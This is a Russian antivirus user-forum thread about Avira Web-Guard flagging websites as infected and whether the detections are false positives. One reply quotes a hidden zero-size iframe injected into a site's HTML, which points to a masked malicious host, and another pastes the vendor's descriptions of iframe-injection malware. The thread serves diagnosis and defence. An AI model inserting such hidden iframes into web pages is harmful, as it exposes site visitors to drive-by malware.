Перейти к содержанию
3TE116

Avira Antivir Premium vs сайты

Recommended Posts

3TE116

Открыл темку в которой предлагаю обсуждать,как Web-Guard работает по отношению к сайтам.Фолсы и всё такое...

Вот на сайте

altfast.ru

обнаружил такой вот malware.Скопирывал из репорта.

When accessing data from the URL, "http://alt-host.net/"

a virus or unwanted program 'HTML/Infected.WebPage.Gen' [virus] was found.

Action taken: Blocked file

Скинул в карантин,но при повторном загрузке ругается.Это фолс или правда малвар там есть????

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Alex_Goodwin

Дык правильно ругается - сайт проинфреймен.

</body></html>    <!-- ~ --><iframe src="http://***/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

На сайте одном при нажатии там открывается порно-страница

http://www.superbig.info/

Заблокировал это в Web-Guard теперь не мучает всплывание страницы.

Тестим дальше.

UPD:. Заблокировал посещение порно раздела на одном форуме - всеравно зашлоhuh.gifglare.gif,почему?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

Вообщем это не в первый раз.

When accessing data from the URL, "http://justgamez.net/"

a virus or unwanted program 'HTML/Infected.WebPage.Gen' [virus] was found.

Action taken: Move file to quarantine

Многие скажут читай выше,там всё сказано.А как тогда например так,иногда тот сайт работает и Вэб-Гвард иногда молчит :unsure: .

А тут уже несколько дней зайти не могу :blink: .

Апдейт...

http://www.superbig.info/

.Помните я о нём выше говорил.Всеравно открывается и получается,что Вэб-Гвард его не блокирует <_< ,обидно :unsure:

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

Попутно нашёл ещё инфы,что тоже интересноyes.gif

Конкретно, по классификации Avira:

HTML/Infected.WebPage.Gen [virus] - троянчик (A common attack against the web infrastructure can be the infection of harmless web pages. Some malware changes every HTML file stored on the disc and adds a link (very often an IFrame) to a site hosting malicious code. Other attacks can aim for the web servers and try to insert forwarding to the pages hosted there.)

HTML/Crypted.Gen [virus] - троянчик (To avoid detection by antivirus software, authors of HTML malware use browser features like Java and VisualBasic Script. These scripts are small and very often quite simple encryption routines hiding the malicious parts of the script. Encrypted malware is detected as HTML/Crypted.Gen.)

HEUR/HTML.Malware [heuristic] - эвристический модуль считает это эксплойтом, отправлено на анализ.

JS/Dldr.Iframe.BR [virus] - даунлоадер, описания нет, но из предыдущего и так понятно.

Предполагаю,что первый в этом списке вирус попав на комп,загружает дополнительные вирусы в этом списке.Может на компе первый бы и выглядел фолсом,но учитывая остальных,то это уже плохие признаки подарков с сайтов.

И ещё нашёл

Ничего ненадо делать. Сканируй комп раз в месяц и смотри что бы зонтик всегда открыт был. Он у меня тоже стоит и бываю я в таких местах, что тебе не снилось и никаких проблем с компом. Аську ещё никто троем не угнал и все пароли в целости и сохранности. Это я к тому, что не бойся сильно вирей они платы давно не форматируют)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
pROCKrammer

3TE116

1е 3 детекта это ИМХО ФОЛС )))

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

У меня был только один детект и до сих пор на сайт не пускает

When accessing data from the URL, "http://justgamez.net/"a virus or unwanted program '[b]HTML/Infected.WebPage.Gen[/b]' [virus] was found.Action taken: Move file to quarantine

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

Из настроек убрал галочку с фишинга.Даже без этого на тот сайт не пускаетsad.gifhuh.gifglare.gif

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • Ego Dekker
      Антивирусы были обновлены до версии 13.1.16. В числе прочего добавлены совместимость с Windows 10 20H1 и поддержка Windows 10 20H2.
    • Ego Dekker
      Программа для удаления продуктов ESET обновилась до версии 9.0.1.0. Для просмотра всех команд запустите утилиту с параметром /help. 
    • santy
      1. на самом деле можно и не удалять, а редактировать единственный критерий для создания запросов. Было бы только удобно формировать такой запрос.... например, "все объекты с цифровой, которая не входит в белый список". здесь ты одним значением не найдешь их фильтруя все объекты сквозным образом по ИНФО, как минимум необходимо два условия, а значит и два значения вводить для запроса. 2. подсветки нет, но это наверное не самое главное. для скорости анализа важно, (хотя бы строку из инфо, которая соответствует критерию).... когда ИНФО содержит много информации. для формирования скрипта- не критично. 3. старых и новых критериев нет. все действующие. ненужные удалить. хотя может и полезно было бы ставить check "отключить" или "включить" данное правило в базе.
        вся эта работа выполняется на стадии формирования списка объектов автозапуска. все исполняемые файлы, которые встречаются по ссылкам в реестре, в cmdLine, и проч. Если ты набрал в поиске по наименованию "cmd.exe", ты уже нашел данный объект в списке со всей его историей (ИНФО), собранной на стадии формирования образа автозапуска.... в какие параметры, ссылки входит в реестре или в cmdLine. цитата "выше Разве?" взята из предложения по деструктивным действиям чистых файлов, когда эти деструктивные действия находятся с помощью критериев, но чистый хэш снимает статус, подтверждающий дейструктивность действия данного файла в анализируемой системе.
    • PR55.RP55
      Недостатки uVS:
      1) Невозможно задать временный критерий. После поиска созданный критерий нужно удалять... Решение: При создании критерия добавить чек бокс:  НЕ вносить изменений в snms [ V ] 2) В Инфо. нет подсветки по типу поиска в браузере ( подсветить всё найденное ) 3) Поиск идёт по всем критериям -  по старым и по новым. Когда критериев много ( а их много ) такой поиск теряет смысл. Разве ? Нет смысла искать в других полях по: каталог; имя производителя; цифровой подписи; хэш. Напомню:  " Пока что вижу эти: wmic.exe, vssadmin.exe, cmd.exe, svchost.exe + powershell.exe+ netsh.exe конечно, остальные можно по мере поступления добавить.  "      
    • santy
      1. уточни, о каком функционале по ИНФО идет речь. одно дело фильтрующий поиск, т.е. список объектов фильтруется (сейчас) по определенному полю, и поиск выполняется сразу после введения одного символа, далее, уже по двум добавленным символам. и т.д. запрос же выполняется после введения некоторого значения. (не единственного символа.) запросов в таком виде сейчас нет, они могли бы быть, если будет реализована функция фильтрации по единственному критерию. (т.е. в этом случае мы получаем результат не по всем критериям, а по одному из списка) ----- здесь не факт, что фильтрующий поиск будет работать настолько быстро при проверке введенного символа по всем полям. 2. приведи примеры, когда введенное значение имеет смысл фильтровать по всем полям ИНФО. скажем если мы ищем имя файла, то нет смысла его искать в качестве вхождения в другие поля, аналогично и имя каталога, и имя производителя, и цифровой подписи, хэшей. и т.д. т.о. может получиться, что мы только увеличим время обновления зафильтрованного списка, и не получив ожидаемого лучшего результата.
×